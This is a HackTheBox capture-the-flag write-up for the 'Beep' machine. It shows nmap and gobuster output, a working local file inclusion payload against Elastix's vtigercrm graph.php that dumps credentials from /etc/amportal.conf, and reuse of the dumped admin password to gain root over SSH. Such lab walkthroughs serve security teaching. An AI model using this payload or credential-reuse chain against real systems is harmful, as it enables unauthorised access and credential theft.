Beep is a HackTheBox Linux machine that runs Elastix and Webmin on ports 443 and 10000. Exploiting Local File Inclusion in the Elastix application will expose passwords for the admin panel and the root SSH access ultimately.
1. Initial Enumeration and Service Discovery
As the first step, I ran an NMAP scan on the target to discover the open ports and services. I used nmap -sC -sV -O beep.htb -oN nmap_scan and it produced quite a long list of open ports for the machine.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-11 06:49 -0400 Nmap scan report for beep.htb (10.129.229.183) Host is up (0.54s latency). Not shown: 988 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | ssh-hostkey: | 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA) |_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA) 25/tcp open smtp? |_smtp-commands: Couldn't establish connection on port 25 80/tcp open http Apache httpd 2.2.3 |_http-server-header: Apache/2.2.3 (CentOS) |_http-title: Did not follow redirect to https://beep.htb/ 110/tcp open pop3? 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100024 1 853/udp status |_ 100024 1 856/tcp status 143/tcp open imap? 443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS)) |_http-title: Elastix - Login page |_http-server-header: Apache/2.2.3 (CentOS) |_ssl-date: 2026-08-11T11:00:07+00:00; +5m57s from scanner time. | http-robots.txt: 1 disallowed entry |_/ | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- | Not valid before: 2017-04-07T08:22:08 |_Not valid after: 2018-04-07T08:22:08 993/tcp open imaps? 995/tcp open pop3s? 3306/tcp open mysql? 4445/tcp open upnotifyp? 10000/tcp open http MiniServ 1.570 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Device type: WAP|general purpose|media device|broadband router|PBX Running (JUST GUESSING): Linux 2.4.X|2.6.X (96%), Sony embedded (95%), ZyXEL embedded (95%), Asus embedded (95%), Starbridge Networks embedded (95%) OS CPE: cpe:/o:linux:linux_kernel:2.4.30 cpe:/o:linux:linux_kernel:2.6 cpe:/o:sony:smp-n200 cpe:/h:zyxel:o2_homebox_6641 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:asus:rt-ac66u cpe:/h:asus:rt-n16 cpe:/h:starbridge_networks:1531 Aggressive OS guesses: OpenWrt White Russian 0.9 (Linux 2.4.30) (96%), Linux 2.6.9 - 2.6.27 (95%), Sony SMP-N200 media player (95%), ZyXEL o2 HomeBox 6641 router (95%), Linux 2.6.21 (95%), Tomato 1.28 (Linux 2.6.22) (95%), Asus RT-AC66U router (Linux 2.6) (95%), Asus RT-N16 WAP (Linux 2.6) (95%), Asus RT-N66U WAP (Linux 2.6) (95%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (95%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: 127.0.0.1 Host script results: |_clock-skew: 5m56s OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 592.47 seconds
Based on the NMAP scan result,
- Port 22 :- SSH is running
- Port 80 :- Apache 2.2.3 server is running but requests are redirected to https on port 443
- Port 443 :- Elastix application is on Apache 2.2.3 server
- Port 10000 :- Webmin MiniServ 1.570 is running
Follow these steps to bypass this in Firefox.
1. Open a new tab in Firefox and type about:config in the URL bar.
2. Accept the risk warning.
3. In the search bar, type security.tls.version.min
4. Double-click the value and change it to 1.
5. Go back to https://beep.htb/ and refresh, accept the risk and continue.
6. Do not forget to change the "security.tls.version.min" value to its original value after the machine is complete.
2. Websites and Vulnerability Discovery
I started a GoBuster directory scan in the background, and I was able to find some PHP files, but accessing them directly through the browser only loaded the login page.
Furthermore, I tried to use the default credentials for Elastex, but they did not work.
Username: admin
Password: palosanto
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://beep.htb [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: html,php,txt,md [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== index.php (Status: 200) [Size: 1785] images (Status: 301) [Size: 306] [--> https://beep.htb/images/] help (Status: 301) [Size: 304] [--> https://beep.htb/help/] register.php (Status: 200) [Size: 1785] themes (Status: 301) [Size: 306] [--> https://beep.htb/themes/] modules (Status: 301) [Size: 307] [--> https://beep.htb/modules/] mail (Status: 301) [Size: 304] [--> https://beep.htb/mail/] admin (Status: 301) [Size: 305] [--> https://beep.htb/admin/] static (Status: 301) [Size: 306] [--> https://beep.htb/static/] lang (Status: 301) [Size: 304] [--> https://beep.htb/lang/] config.php (Status: 200) [Size: 1785] robots.txt (Status: 200) [Size: 28]
Furthermore, I found multiple CVEs in ExploitDB for both Elastix and Webmin. Some exploits were readily available in Metasploit. I tried to use many of the exploits, but only Elastix 2.2.0 - 'graph.php' Local File Inclusion worked, and I was able to dump a configuration file with usernames and passwords.
3. Exploitation & Credential Harvesting
Local File Inclusion(LFI) vulnerability exploitation dumped a config file with usernames and passwords.
https://beep.htb/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action # Some credentials found AMPDBNAME=asterisk AMPDBUSER=asteriskuser AMPDBPASS=amp109 AMPDBPASS=jEhdIekWmdjE ARI_ADMIN_USERNAME=admin ARI_ADMIN_PASSWORD=jEhdIekWmdjE
I tried ARI_ADMIN_USERNAME and ARI_ADMIN_PASSWORD on the login form, and it gave me access to the admin dashboard.
4. SSH Access and Flag Retrieval
After looking around the admin dashboard, I decided to try SSH enumeration as users often reuse passwords. And since the SSH version is old, I had to explicitly tell my SSH to use older key exchange algorithms by using the -o flag.
Unable to negotiate with 10.129.229.183 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 └─$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 admin@beep.htb Unable to negotiate with 10.129.229.183 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ─$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa admin@beep.htb admin@beep.htb's password: Permission denied, please try again. admin@beep.htb's password: Permission denied, please try again. admin@beep.htb's password: admin@beep.htb: Permission denied (publickey,gssapi-with-mic,password). └─$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa root@beep.htb The authenticity of host 'beep.htb (10.129.229.183)' can't be established. RSA key fingerprint is: SHA256:Ip2MswIVDX1AIEPoLiHsMFfdg1pEJ0XXD5nFEjki/hI This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'beep.htb' (RSA) to the list of known hosts. root@beep.htb's password: Last login: Wed Nov 15 12:55:38 2023 Welcome to Elastix ---------------------------------------------------- To access your Elastix System, using a separate workstation (PC/MAC/Linux) Open the Internet Browser using the following URL: http://10.129.229.183 [root@beep ~]# whoami root
Since I was able to log in as the root user via SSH, I did not need to escalate privileges. Root is the highest privileged user on a Linux machine.
[root@beep ~]# ls anaconda-ks.cfg install.log postnochroot webmin-1.570-1.noarch.rpm elastix-pr-2.2-1.i386.rpm install.log.syslog root.txt [root@beep ~]# cat root.txt [root@beep ~]# cd /home [root@beep home]# ls fanis spamfilter [root@beep home]# cd fanis/ [root@beep fanis]# ls user.txt [root@beep fanis]# cat user.txt
Congrats! We found both flags!
HTB Machine Completion
